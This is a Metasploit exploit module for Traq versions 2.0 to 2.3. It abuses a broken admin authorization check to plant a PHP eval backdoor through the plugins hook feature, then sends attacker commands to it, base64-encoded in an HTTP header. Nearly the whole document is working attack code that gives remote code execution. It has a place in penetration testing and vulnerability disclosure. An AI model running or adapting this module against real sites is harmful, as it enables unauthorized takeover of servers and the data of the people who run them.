Traq <= 2.3 - Authentication Bypass / Remote Code Execution Exploit



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info={})
        super(update_info(info,
            'Name'           => 'Traq <= 2.3 Authentication Bypass / Remote Code Execution Exploit',
            'Description'    => %q{
                This module exploits an arbitrary command execution vulnerability in
                Traq 2.0 to 2.3. It's in the admincp/common.php script.

                This function is called in each script located into /admicp/ directory to
                make sure the user has admin rights, but this is a broken authorization
                schema due to the header() function doesn't stop the execution flow. This
                can be exploited by malicious users to execute admin functionality resulting
                for  e.g.  in execution of arbitrary PHP code leveraging of plugins.php
                functionality.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'EgiX',  # Vulnerability discovery and exploit
                    'TecR0c' # Metasploit Module
                ],
            'References'     =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/18213/' ],
                    [ 'URL', 'http://traqproject.org/' ],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Keys'        => ['php'],
                    'Space'       => 4000,
                    'DisableNops' => true,
                },
            'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
            'Targets'        => [[ 'Automatic', {} ]],
            'DisclosureDate' => 'Dec 12 2011',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('URI', [true, "The path to the Traq installation", "/"]),
            ],self.class)
    end

    def check
        uri = datastore['URI']
        uri += (datastore['URI'][-1, 1] == "/") ? "admincp/login.php" : "/admincp/login.php"

        res = send_request_raw(
            {
                'uri'=> uri
            }, 25)

        if (res and res.body =~ /Powered by Traq 2.[0-3]/ )
            return Exploit::CheckCode::Vulnerable
        end
        return Exploit::CheckCode::Safe
    end

    def exploit
        p = Rex::Text.encode_base64(payload.encoded)

        uri = datastore['URI']
        uri += (datastore['URI'][-1, 1] == "/") ? "admincp/plugins.php?newhook" : "/admincp/plugins.php?newhook"

        res = send_request_cgi(
            {
                'method'    => 'POST',
                'uri'       => uri,
                'vars_post' =>
                    {
                        'plugin_id' => '1',
                        'title' => '1',
                        'execorder' => '0',
                        'hook' => 'template_footer',
                        'code' => 'error_reporting(0);eval(base64_decode($_SERVER[HTTP_CMD]));die;'
                    }
            }, 25)

        uri = datastore['URI']
        uri += (datastore['URI'][-1, 1] == "/") ? "index.php" : "/index.php"

        res = send_request_cgi(
            {
                'method'  => 'GET',
                'uri'     => uri,
                'headers' =>
                    {
                        'CMD' => p,
                        'Connection' => 'Close',
                    },
            }, 25)
    end
end